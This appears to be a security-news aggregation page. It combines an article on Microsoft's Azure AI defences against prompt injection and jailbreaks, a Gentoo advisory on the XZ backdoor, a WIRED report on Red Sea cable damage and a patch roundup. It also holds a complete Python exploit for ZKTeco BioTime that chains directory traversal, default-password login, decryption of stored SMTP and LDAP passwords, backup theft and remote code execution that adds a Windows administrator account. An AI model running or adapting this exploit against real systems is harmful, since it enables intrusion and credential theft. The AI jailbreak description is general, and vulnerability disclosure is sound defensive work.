Microsoft adds tools to protect Azure AI from threats such as prompt injection, as well as to give developers the capabilities to ensure generative AI apps are more resilient to model and content manipulation attacks.

Source: Tada Images via Shutterstock

Microsoft has announced several new capabilities in Azure AI Studio that the company says should help developers build generative artificial intelligence (GenAI) apps that are more reliable and resilient against malicious model manipulation and other emerging threats.

In a March 29 blog post, Microsoft's chief product officer of responsible AI, Sarah Bird, pointed to growing concerns about threat actors using prompt injection attacks to get AI systems to behave in dangerous and unexpected ways as the primary driving factor for the new tools.

"Organizations are also concerned about quality and reliability," Bird said. "They want to ensure that their AI systems are not generating errors or adding information that isn’t substantiated in the application’s data sources, which can erode user trust."

Azure AI Studio is a hosted platform that organizations can use to build custom AI assistants, copilots, bots, search tools and other applications, grounded in their own data. Announced in November, the platform hosts Microsoft's machine learning models, as well as models from several other sources, including OpenAI, Meta, Hugging Face, and Nvidia. It allows developers to quickly integrate multimodal capabilities and responsible AI features into their models.

Other major players, such as Amazon and Google, have rushed to market with similar offerings over the past year to tap into the surging interest in AI technologies worldwide. A recent IBM-commissioned study found that 42% of organizations with more than 1,000 employees are already actively using AI in some fashion, with many of them planning to increase and accelerate investments in the technology over the next few years. And not all of them were telling IT beforehand about their AI use.

**Protecting Against Prompt Engineering**

The five new capabilities that Microsoft has added — or will soon add — to Azure AI Studio are Prompt Shields, groundedness detection, safety system messages, safety evaluations, and risk and safety monitoring. The features are designed to address some significant challenges that researchers have uncovered recently — and continue to uncover on a routine basis — with regard to the use of large language models (LLMs) and GenAI tools.

Prompt Shields, for instance, is Microsoft's mitigation for what are known as indirect prompt attacks and jailbreaks. The feature builds on existing mitigations in Azure AI Studio against jailbreak risk. In prompt-engineering attacks, adversaries use prompts that appear innocuous and not overtly harmful to try and steer an AI model into generating harmful and undesirable responses. Prompt engineering is among the most dangerous in a growing class of attacks that try to jailbreak AI models or get them to behave in a manner that is inconsistent with any filters and constraints that developers might have built into them.  

Researchers have recently shown how adversaries can engage in prompt-engineering attacks to get GenAI models to spill their training data, spew out personal information, generate misinformation, and potentially harmful content, such as instructions on how to hot-wire a car.

With Prompt Shields, developers can integrate capabilities into their models that help distinguish between valid and potentially untrustworthy system inputs, set delimiters to help mark the beginning and end of input text, and use data marking to mark input texts. Prompt Shields is currently available in preview mode in Azure AI Content Safety and will become generally available soon, according to Microsoft.

**Mitigations for Model Hallucinations and Harmful Content**

With groundedness detection, Microsoft has added a feature to Azure AI Studio that it says can help developers reduce the risk of their AI models "hallucinating." Model hallucination is a tendency by AI models to generate results that appear plausible but are completely made up and not based — or grounded — on the training data. LLM hallucinations can be hugely problematic if an organization were to take the output as factual and act on it in some way. In a software development environment, for instance, LLM hallucinations could result in developers potentially introducing vulnerable code into their applications.

Azure AI Studio's new groundedness-detection capability is basically about helping detect — more reliably and at greater scale — potentially ungrounded GenAI outputs.  The goal is to give developers a way to test their AI models against what Microsoft calls "groundedness metrics" before deploying the model into their products. The feature also highlights potentially ungrounded statements in LLM outputs, so users know to fact check the output before using it. Groundedness detection should be available in the near future, according to Microsoft.

The new system message framework offers a way for developers to clearly define their models' capabilities, profile, and limitations in their specific environments. Developers can use the capability to define the format of the output and provide examples of intended behavior, so it becomes easier for users to detect deviations from intended behavior. The feature isn't available yet but should be soon.

Azure AI Studio's newly announced safety evaluations capability and its risk and safety monitoring feature are both currently available in preview status. Organizations can use the former to assess the vulnerability of their LLM models to jailbreak attacks and generate unexpected content. The risk and safety monitoring capability allows developers to detect model inputs that are problematic and likely to trigger hallucinated or unexpected content, so they can implement mitigations against it.

"Generative AI can be a force multiplier for every department, company, and industry," Microsoft's Bird said. "At the same time, foundation models introduce new challenges for security and safety that require novel mitigations and continuous learning."

**About the Author(s)**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Microsoft Beefs Up Defenses in Azure AI

From ransomware to LOTL attacks,  the top threats your educational institution needs to be aware of in 2024.

Educational institutions may face a range of cyberthreats in 2024, but our 2024 State of Malware in Education report identifies the six most critical ones.

Ransomware, for example, stands out as a key threat for schools and universities. The report covers how last year, we witnessed a 92% increase in ransomware attacks in K-12 schools and a 70% increase in Higher Education. The trend appears set to continue, partly due to specialized ransomware groups like Rhysida (formerly Vice Society) targeting educational sectors.  

**Education ransomware attacks, 2022 – 2023**

Another major threat our 2024 State of Malware in Education covers is the reduction of conventional malware in favor of Living off The Land (LOTL) attacks. LOTL attacks exploit legitimate system tools to remain undetected while conducting harmful activities.

Our report suggests that educational institutions must employ expert staff to manually identify LOTL activities, which traditional malware detection tools miss. For example, we recently wrote how one K-12 district used MDR to uncover malicious PowerShell activity and stop an ongoing infection.

Some other trends and threats educational institutions can expect in the report to cover include:

*   Why targeting Macs has become **an easy choice for criminals** 
*   How CL0P is r**ewriting the ransomware playbook** and why Big Game ransomware remains the most serious threat.
*   How cybercriminals use ‘malvertising’ to **target educational institutions with malicious ads** for popular for remote learning such as Zoom. 

As we progress into 2024, the reality is that educational institutions’ success in pairing state of the art security software with skilled security staff will be a deciding factor in their ability to take down the most serious cyberthreats. 

To understand the complete list of threats facing educational institutions in 2024 and how to tackle them, get the full 2024 State of Malware in Education report—tailored to either K-12 or Higher Ed—below.

 2024 State of Malware in Education report: Top 6 cyberthreats facing K-12 and Higher Ed 

Gentoo Linux Security Advisory 202403-4 - A backdoor has been discovered in XZ utils that could lead to remote compromise of systems. Versions less than 5.6.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202403-04  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: XZ utils: Backdoor in release tarballs  
     Date: March 29, 2024  
     Bugs: #928134  
       ID: 202403-04

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A backdoor has been discovered in XZ utils that could lead to remote  
compromise of systems.

Background  
==========

XZ Utils is free general-purpose data compression software with a high  
compression ratio.

Affected packages  
=================

Package            Vulnerable    Unaffected  
-----------------  ------------  ------------  
app-arch/xz-utils  >= 5.6.0      < 5.6.0

Description  
===========

A backdoor has been discovered in XZ utils. Please review the CVE  
identifier referenced below for details.

Impact  
======

Our current understanding of the backdoor is that is does not affect  
Gentoo systems, because

1. the backdoor only appears to be included on specific systems and  
Gentoo does not qualify;  
2. the backdoor as it is currently understood targets OpenSSH patched to  
work with systemd-notify support. Gentoo does not support or include  
these patches;

Analysis is still ongoing, however, and additional vectors may still be  
identified. For this reason we are still issuing this advisory as if  
that will be the case.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All XZ utils users should downgrade to the latest version before the  
backdoor was introduced:

  # emerge --sync  
  # emerge --ask --oneshot --verbose "<app-arch/xz-utils-5.6.0"

References  
==========

[ 1 ] CVE-2024-3094  
      https://nvd.nist.gov/vuln/detail/CVE-2024-3094

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202403-04

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202403-04

BioTime versions 8.5.5 and 9.0.1 suffer from directory traversal and file write vulnerabilities. This exploit also achieves remote code execution on version 8.5.5.

    #  __________.__     ___________.__                #  \______   \__| ___\__    ___/|__| _____   ____  #   |    |  _/  |/  _ \|    |   |  |/     \_/ __ \ #   |    |   \  (  <_> )    |   |  |  Y Y  \  ___/ #   |______  /__|\____/|____|   |__|__|_|  /\___  >#          \/                            \/     \/ # Tested on 8.5.5 (Build:20231103.R1905)# Tested on 9.0.1 (Build:20240108.18753)# BioTime, "time" for shellz!# https://claroty.com/team82/disclosure-dashboard/cve-2023-38952# https://claroty.com/team82/disclosure-dashboard/cve-2023-38951# https://claroty.com/team82/disclosure-dashboard/cve-2023-38950# RCE by adding a user to the system, not the app.# Relay machine creds over smb, while creating a backup# Decrypt SMTP, LDAP or SFTP creds, if any.# Get sql backup. Good luck cracking those hashes!# Can use Banner to determine which version is running# Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7# Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache => BioTime Version 9# @w3bd3vil - Krash Consulting (https://krashconsulting.com/fury-of-fingers-biotime-rce/)import requestsfrom bs4 import BeautifulSoupimport osimport jsonimport sysfrom Crypto.Cipher import AESfrom Crypto.Cipher import ARC4import base64from binascii import b2a_hex, a2b_hexrequests.packages.urllib3.disable_warnings()proxies = {    'http': 'http://127.0.0.1:8080',  # Proxy for HTTP traffic    'https': 'http://127.0.0.1:8080'  # Proxy for HTTPS traffic}proxies = {}target =  sys.argv[1]def decrypt_rc4(base64_encoded_rc4, password="biotime"):    encrypted_data = base64.b64decode(base64_encoded_rc4)    cipher = ARC4.new(password.encode())    decrypted_data = cipher.decrypt(encrypted_data)    return decrypted_data.decode()# base64_encoded_rc4 = "fj8xD5fAY6r6s3I="# password = "biotime"# decrypted_data = decrypt_rc4(base64_encoded_rc4, password)# print("Decrypted data:", decrypted_data)AES_PASSWORD = b'china@2018encryption#aes'AES_IV = b'zkteco@china2019'def filling_data(data, restore=False):    '''    :param data: str    :return: str    '''    if restore:        return data[0:-ord(data[-1])]    block_size = AES.block_size  # Use AES.block_size instead of None.block_size    return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size)def aes_encrypt(content):    '''    Encryption    :param content: str, The length of content must be times of AES.block_size, using filling_data to fill out    :return: str    '''    if isinstance(content, bytes):        content = str(content, 'utf-8')    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)    encrypted = cipher.encrypt(filling_data(content).encode('utf-8'))    result = b2a_hex(encrypted).decode('utf-8')    return resultdef aes_decrypt(content):    '''    Decryption    :param content: str or bytes, Encryption string    :return: str    '''    if isinstance(content, str):        content = content.encode('utf-8')    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)    result = cipher.decrypt(a2b_hex(content)).decode('utf-8')    return filling_data(result, restore=True)#Check BioTimeurl = f'{target}/license/'response = requests.get(url, proxies=proxies, verify=False)html_content = response.contentsoup = BeautifulSoup(html_content, 'html.parser')build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()]build = Nonefor line in build_lines:    build = line    print(f"Found BioTime: {line}")    breakif build != None:    buildNumber = build[0]else:    print("Unsupported Target!")    sys.exit(1)# Dir Traversalurl = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'response = requests.get(url, proxies=proxies, verify=False)try:    print("Dir Traversal Attempt\nOutput of windows/win.ini file:")    print(base64.b64decode(response.text).decode('utf-8'))    try:        url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini'        response = requests.get(url, proxies=proxies, verify=False)        attConfig = base64.b64decode(response.text).decode('utf-8')        #print(f"Output of BioTime config file: {attConfig}")    except:        try:            url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini'            response = requests.get(url, proxies=proxies, verify=False)            attConfig = base64.b64decode(response.text).decode('utf-8')            #print(f"Output of BioTime config file: {attConfig}")        except:            print("Couldn't get BioTime config file (possibly non default configuration)")    lines = attConfig.split('\n')    for i, line in enumerate(lines):        if "PASSWORD=@!@=" in line:            dec_att = decrypt_rc4(lines[i].split("@!@=")[1])            lines[i] = lines[i].split("@!@=")[0]+dec_att    attConfig_modified = '\n'.join(lines)    print(f"Output of BioTime Decrypted config file:\n{attConfig_modified}")except:    print("Couldn't exploit Dir Traversal")# Extract Cookiesurl = f'{target}/login/'response = requests.get(url, proxies=proxies, verify=False)if response.status_code == 200:    soup = BeautifulSoup(response.text, 'html.parser')    csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'})    if csrf_token_header:        csrf_token_header_value = csrf_token_header['value']        print(f"CSRF Token Header: {csrf_token_header_value}")        session_id_cookie = response.cookies.get('sessionid')    if session_id_cookie:        print(f"Session ID: {session_id_cookie}")        csrf_token_value = response.cookies.get('csrftoken')    if csrf_token_value:        print(f"CSRF Token Cookie: {csrf_token_value}")else:    print(f"Failed to retrieve data from {url}. Status code: {response.status_code}")# Login Now!cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}for i in range(1,10):    username = i    password = '123456' # Deafult password!    data = {        'username': username,        'password': password,        'captcha':'',        'login_user':'employee'    }    headers = {        'User-Agent': 'Krash Consulting',        'X-CSRFToken': csrf_token_header_value    }    response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False)    if response.status_code == 200:        json_response = response.json()        ret_value = json_response.get('ret')        if ret_value == 0:            print(f"Valid Credentials found: Username is {username} and password is {password}")            session_id_cookie = response.cookies.get('sessionid')            if session_id_cookie:                print(f"Auth Session ID: {session_id_cookie}")                        csrf_token_value = response.cookies.get('csrftoken')            if csrf_token_value:                print(f"Auth CSRF Token Cookie: {csrf_token_value}")            breakif i == 9:    print("No valid users found!")    sys.exit(1)# Check for Backupsdef downloadBackup():    url = f'{target}/base/dbbackuplog/table/?page=1&limit=33'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    response_data = response.json()    print("Backup files list")    print(json.dumps(response_data, indent=4))    if response_data['count'] > 0:        backup_info = response_data['data'][0]  # Latest Backup        operator_name = backup_info['operator']        backup_file = backup_info['backup_file']        db_type = backup_info['db_type']        print("Operator:", operator_name)        print("Backup File:", backup_file)        print("Database Type:", db_type)        if buildNumber == "9":            createBackup()            print("Backup File password: Krash")        #download = os.path.basename(backup_file)        path = os.path.normpath(backup_file)        try:            split_path = path.split(os.sep)            files_index = split_path.index('files')            relative_path = '/'.join(split_path[files_index + 1:])        except:            return False        url = f'{target}/files/{relative_path}'        print(url)        response = requests.get(url, proxies=proxies, verify=False)        if response.status_code == 200:            filename = os.path.basename(url)            with open(filename, 'wb') as file:                file.write(response.content)            print(f"File '{filename}' downloaded successfully.")        else:            print("Failed to download the file. Status code:", response.status_code)        return False    else:        print("No backup Found!")        return Truedef createBackup(targetPath=None):    print("Attempting to create backup.")    url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id='    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    html_content = response.content    soup = BeautifulSoup(html_content, 'html.parser')    pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()]    print(f"Possible backup location: {pathBackup}")    url = f'{target}/base/dbbackuplog/action/'    if targetPath == None:        if buildNumber == "9" or build[:5] == "8.5.5":            targetPath = "C:\\ZKBioTime\\files\\backup\\"        else:            targetPath = "C:\\BioTime\\files\\fw\\"    if buildNumber == "9":        data = {            'csrfmiddlewaretoken': csrf_token_value,            'file_path':targetPath,            'action_name': '44424261636b75704d616e75616c6c79',            'backup_encryption_choices': '2',            'auto_backup_password': 'Krash'        }    else:        data = {            'csrfmiddlewaretoken': csrf_token_value,            'file_path':targetPath,            'action_name': '44424261636b75704d616e75616c6c79'        }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    if response.status_code == 200:        print("Backup Initiated.")    else:        print("Backup failed!")if downloadBackup():    createBackup()    downloadBackup()url = f'{target}/base/api/systemSettings/email_setting/'cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200:    response_data = response.json()    print("SMTP Settings")    for key in response_data:        if 'password' in key.lower():            value = response_data[key]            #print(f'{key} decrypted value {aes_decrypt(value)}')            response_data[key] = aes_decrypt(value)    print(json.dumps(response_data, indent=4))url = f'{target}/base/api/systemSettings/ldap_setup/'cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200:    response_data = response.json()    print("LDAP Settings")    for key in response_data:        if 'password' in key.lower():            value = response_data[key]            #print(f'{key} decrypted value {aes_decrypt(value)}')            response_data[key] = aes_decrypt(value)    print(json.dumps(response_data, indent=4))def sftpRCE():    print("Attempting RCE!")    #Add SFTP, Need valid IP/credentials here!    print("Adding FTP List")    url = f'{target}/base/sftpsetting/add/'    myIpaddr = '192.168.0.11'    myUser = 'test'    myPassword = 'test@123'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'host':myIpaddr,        'port':22,        'is_sftp': 1,        'user_name':myUser,        'user_password':myPassword,        'user_key':'',        'action_name': '47656e6572616c416374696f6e4e6577'    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    print(response)    url = f'{target}/base/sftpsetting/table/?page=1&limit=33'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    response_data = response.json()    print("FTP List")    print(json.dumps(response_data, indent=4))    backup_info = response_data['data'][0]  # Latest SFTP    getID = backup_info['id']    if getID:        print("ID to edit ", getID)    #Edit SFTP (Response can have errors, it doesn't matter)    print("Editing SFTP Settings")    if buildNumber == "9":        dirTraverse = '\..\..\..\python311\lib\io.py'    else:        dirTraverse = '\..\..\..\python37\lib\io.py'    if len(dirTraverse) > 30:        print("Directory Traversal length is greater than 30, will not work!")        sys.exit(1)    url = f'{target}/base/sftpsetting/edit/'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'host':myIpaddr,        'port':22,        'is_sftp': 1,        'user_name': dirTraverse,        'user_password':myPassword,        'user_key':'import os\nos.system("net user /add omair190 KCP@ssw0rd && net localgroup administrators ...',        'obj_id': getID    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    print("A new user should be added now on the server \nusername: omair190\npassword: KCP@ssw0rd")    #Delete SFTP    print("Deleting SFTP Settings")    url = f'{target}/base/sftpsetting/action/'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'id': getID,        'action_name': '47656e6572616c416374696f6e44656c657465'    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)#RCEif buildNumber == "9" or build[:5] == "8.5.5":    sftpRCE()# #Relay Creds# createBackup("\\\\192.168.0.11\\KC\\test")

BioTime Directory Traversal / Remote Code Execution

Millions lost internet service after three cables in the Red Sea were damaged. Houthi rebels deny targeting the cables, but their missile attack on a cargo ship, left adrift for months, is likely to blame.

The ballistic missile hit the _Rubymar_ on the evening of February 18. For months, the cargo ship had been shuttling around the Arabian Sea, uneventfully calling at local ports. But now, taking on water in the bottleneck of the Bab-el-Mandeb Strait, its two dozen crew issued an urgent call for help and prepared to abandon ship.

Over the next two weeks—while the crew were ashore—the “ghost ship” took on a life of its own. Carried by currents and pushed along by the wind, the 171-meter-long, 27-meter-wide _Rubymar_ drifted approximately 30 nautical miles north, where it finally sank—becoming the most high-profile wreckage during a months-long barrage of missiles and drones launched by Iranian-backed Houthi rebels in Yemen. The attacks have upended global shipping.

But the _Rubymar_ wasn’t the only casualty. During its final journey, three internet cables laid on the seafloor in the Bab-el-Mandeb Strait were damaged. The drop in connectivity impacted millions of people, from nearby East Africa to thousands of miles away in Vietnam. It’s believed the ship’s trailing anchor may have broken the cables while it drifted. The _Rubymar_ also took 21,000 metric tons of fertilizer to its watery grave—a potential environmental disaster in waiting.

An analysis from WIRED—based on satellite imagery, interviews with maritime experts, and new internet connectivity data showing the cables went offline within minutes of each other—tracks the last movements of the doomed ship. While our analysis cannot definitively show that the anchor caused the damage to the crucial internet cables—that can only be determined by an upcoming repair mission—multiple experts conclude it is the most likely scenario.

The damage to the internet cables comes when the security of subsea infrastructure—including internet cables and energy pipelines—has catapulted up countries’ priorities. Politicians have become increasingly concerned about the critical infrastructure since the start of the Russia-Ukraine war in February 2022 and a subsequent string of potential sabotage, including the Nord Stream pipeline explosions. As Houthi weapons keep hitting ships in the Red Sea region, there are worries the _Rubymar_ may not be the last shipwreck.

The _Rubymar_’s official trail goes cold on February 18. At 8 pm local time, reports emerged that a ship in the Bab-el-Mandeb Strait, which is also known as the Gate of Tears or the Gate of Grief, had been attacked. Two anti-ship ballistic missiles were fired from “Iranian-backed Houthi terrorist-controlled areas of Yemen,” US Central Command said. Ninety minutes after the warnings arrived, at around 9:30 pm, the _Rubymar_ broadcast its final location using the automatic identification system (AIS), a GPS-like positioning system used to track ships.

As water started pouring into the hull, engine room, and machinery room, the crew’s distress call was answered by the _Lobivia_—a nearby container ship—and a US-led coalition warship. By 1:57 am on February 19, the crew was reported safe. That afternoon, the 11 Syrians, six Egyptians, three Indians, and four Filipinos who were on board arrived at the Port of Djibouti. “We do not know the coordinates of _Rubymar_,” Djibouti’s port authority posted on X.

Satellite images picked up the _Rubymar_, its path illuminated by an oil slick, two days later, on February 20. Although the crew dropped the ship’s anchor during the rescue, the ship drifted north, further up the strait in the direction of the Red Sea.

For three days, satellite photos show, the vessel largely stayed in place thanks to low winds and weak currents. Then, on February 22, satellite images show peculiar circular wave patterns hitting the ship, as seen in the image below. One former naval intelligence analyst familiar with the images, who asked not to be named for safety reasons, says this could be a sign the anchor may have come loose. One image, they say, appears to show an unidentified object, which could be a small boat, nearby.

Both the wind and currents picked up on February 23, when the ship began drifting for a second time, says Robert Parkington, an intelligence analyst with geospatial analysis firm Geollect. “As wind increases, as current increases, that chance for movement gets so much higher,” says Parkington, who monitored the _Rubymar_’s movements with data from satellite technology firm Spire Global. “Even a small breeze can have an impact on where the vessel’s moving.”

Circular ripples are visible around the Rubymar.Courtesy of BlackSky

More than 550 internet cables run along the ocean floors and connect the world. They link continents and economies, beaming everything from Zoom calls to financial transactions every millisecond. Twelve of the cables run through the Bab-el-Mandeb Strait, says Alan Mauldin, research director at telecom research firm TeleGeography. “These cables vary massively in their age, also in their capacities,” Mauldin explains. The region is a crucial, but vulnerable, choke point.

While the _Rubymar_ was drifting, three cables were damaged: the Seacom/Tata cable, a 15,000-kilometer-long wire running the length of East Africa and also connecting it to India; the Asia Africa Europe-1 (AAE-1), which snakes 25,000 kilometers and links Europe to East Asia; and the Europe India Gateway (EIG), made of 15,000 kilometers of cable and joining India with the United Kingdom.

The Seacom cable went down at 9:46 am on February 24, according to new analysis shared exclusively with WIRED by Doug Madory, director of internet analysis at the web monitoring firm Kentik. Five minutes later, at around 9:51 am, the AAE-1 cable dropped offline. Madory says the third damaged cable, EIG, was already mostly offline following a separate fault elsewhere. A telecom industry notice seen by WIRED confirms the three faults and says this was the EIG’s second. The notice says the damage is located around 30 kilometers away from where the cables land in Djibouti and are at depths of around 150 meters.

To determine when the cables lost connectivity, Madory examined internet traffic and routing data from multiple networks. For instance, a network linked to Equity Bank Tanzania, the analysis shows, lost connectivity from the Seacom cable; moments later, it was impacted by the AAE-1 damage. The two clusters of outages impacted countries in East Africa, including Tanzania, Kenya, Uganda, and Mozambique, Madory says. But they also had an impact thousands of miles away in Vietnam, Thailand, and Singapore. “The loss of these submarine cables disrupted internet service for millions of people,” he says. “While service providers in the affected countries have shifted to using the remaining cables, there exists a loss of overall capacity.” The analysis matches when the Seacom cable went offline, says Prenesh Padayachee, the company’s chief digital officer. Both AAE and EIG cables are owned by consortiums of companies, which did not respond to requests for comment.

The telecom industry builds backups into its systems to account for disruptions—and the approach mostly works. When one cable goes offline, traffic is sent via other routes. “Connectivity just went away,” says Thomas King, the chief technology officer of German-based internet exchange DE-CIX, which used the AAE-1 cables. “The issue was detected automatically. Rerouting happens also automatically,” King says. Other firms sent data on different paths around the world.

In the days after damage to the cables first emerged, one unconfirmed press report claimed Houthi rebels could have sabotaged the cables. There has been no public evidence to support this. Farzin Nadimi, a senior fellow at the Washington Institute think tank who has been monitoring the region, says it is most likely that the _Rubymar_ damaged the cables, but Houthi sabotage should not be entirely ruled out, as “highly trained” divers could reach the cables’ depths. Telecom firms have reported fears about Houthi damage to cables, while Houthi spokespeople have repeatedly denied responsibility for the disruptions.

“We don’t even know if the cable is fully broken yet,” Padayachee says. “All we know is that the cable is damaged to a level where we’ve lost comms.” It could have been cut, or even dragged along the seabed and bent so light signals cannot pass through the cable, he says.

Many in the marine and cable industry have turned toward the _Rubymar_’s drift as the likely cause for the outage. Padayachee says it is the most “plausible” scenario given the ship’s predicted drifting speed. “If you work out the distance between the two cables that roughly relates to the same sort of timeframe as to when one cable will be affected to when the other cable will be affected,” the timing makes sense, he says, adding that the cables are 700 to 1,000 meters apart.

Anchor damage, alongside earthquakes and landslides, is one of the most common ways subsea internet cables are disrupted. For instance, multiple cables in the Red Sea region were damaged by a ship dragging its anchor in 2012. There are also several types of anchor, explain William Coombs and Michael Brown, professors at Durham University and the University of Dundee, respectively, who are researching the dynamics of anchors and how they can damage underwater cables. Some anchors sit on the seabed while others dig into the ground, they say. “If the soil type is not right, and the cable has quite shallow burial or it is on the seabed, you are going to catch it if your anchor starts to drag,” Brown says.

“Considering the timings of when outages were reported, considering the rough location of where those cables are known to be, and considering where we believe to be the location of the _Rubymar_, I would say that there is a likely possibility that the anchor did cause the damage,” says Parkington of Geollect.

The _Rubymar_ finally sank on March 2. Videos reportedly taken inside the ship, gathered by Saudi state-owned news organization Al Arabiya English, show water gushing into the ship after the missile strike. As the _Rubymar_ took on more water and partially submerged, experts say, its drifting likely slowed and eventually brought it to a complete stop.

While the ship has finished its journey, the three internet cables will remain offline for some time. Padayachee, from Seacom, says that the Yemeni government is likely to approve permits for the company’s repair plans in the next couple of weeks, with repairs to all three damaged cables possibly starting later in April.

Padayachee says that additional security measures are being put in place for the operation, but the repair work itself should be relatively straightforward. The repairs are taking place in water only a couple of hundred meters deep—shallow compared to other cases where cables are more than a mile deep. When the cables are pulled out of the water by the repair crew, it should be possible to say whether the cuts were caused by the anchor or deliberately.

The _Rubymar_ presents one potential final challenge: Padayachee says the location of the cable damage is believed to be around one or two miles away from where the ship sank. “It doesn’t look like it will affect anything in the repair operation,” he says. “It could change by the time they get there: The vessel may have moved or, in fact, the vessel may have broken up and parts of it moved around.” The US Central Command has said the _Rubymar_ also presents a “subsurface impact risk to other ships.”

The Houthi’s missile launches, meanwhile, don’t look like they will stop any time soon. Other ships have been damaged; lives have been lost, and those factors will impact repairs. “It's not something you usually see: trying to have a cable ship into those waters, recover the cable, make a repair, and then be able to return to port. It's a long process. It’s risky,” says Mauldin, from TeleGeography. The risk, for other internet cables, is a repeat of the _Rubymar_. “It is not out of the question,” Madory concludes in his analysis, “that we could have another vessel, struck by a missile, inadvertently cut another submarine cable.”

_Correction 4/1/2024, 9:49 am: A previous version of this article incorrectly stated the length of the_ Rubymar, _which is 171 meters, not 17 meters._

How a Houthi-Bombed Ghost Ship Likely Cut Off Internet for Millions

Plus: Microsoft patches over 60 vulnerabilities, Mozilla fixes two Firefox zero-day bugs, Google patches 40 issues in Android, and more.

It’s time to check your software updates. March has seen the release of important patches for Apple’s iOS, Google’s Chrome, and its privacy-conscious competitor Firefox. Bugs have also been squashed by enterprise software giants including Cisco, VMware, and SAP.

Here’s what you need to know about the security updates issued in March.

**Apple iOS**

Apple made up for a quiet February by issuing two separate patches in March. At the start of the month, the iPhone maker released iOS 17.4, fixing over 40 flaws including two issues already being used in real-life attacks.

Tracked as CVE-2024-23225, the first bug in the iPhone Kernel could allow an attacker to bypass memory protections. “Apple is aware of a report that this issue may have been exploited,” the iPhone maker said on its support page.

Tracked as CVE-2024-23296, the second flaw, in RTKit, the real-time operating system used in devices including AirPods, could also allow an adversary to bypass Kernel memory protections.

Later in March, Apple released a second software update, iOS 17.4.1, this time fixing two flaws in its iPhone software, both tracked as CVE-2024-1580. Using the issues patched in iOS 17.4.1, an attacker could execute code if they convinced someone to interact with an image.

Soon after issuing iOS 17.4.1, Apple released patches for its other devices to fix the same bugs: Safari 17.4.1, macOS Sonoma 14.4.1 and macOS Ventura 13.6.6.

**Google Chrome**

March was another hectic month for Google, which patched multiple flaws in its Chrome browser. Mid-way through the month, Google released 12 patches, including a fix for CVE-2024-2625, an object-lifecycle issue in V8 with a high severity rating.

Medium-severity issues include CVE-2024-2626, an out-of-bounds read bug in Swiftshader; CVE-2024-2627, a use-after-free flaw in Canvas; and CVE-2024-2628, an inappropriate implementation issue in Downloads.

At the end of the month, Google issued seven security fixes, including a patch for a critical use-after-free flaw in ANGLE tracked as CVE-2024-2883. Two further use-after-free bugs, tracked as CVE-2024-2885 and CVE-2024-2886, were given a high-severity rating. Meanwhile, CVE-2024-2887 is a type-confusion flaw in WebAssembly.

The last two issues were exploited at the Pwn2Own 2024 hacking contest, so you should update your Chrome browser ASAP.

**Mozilla Firefox**

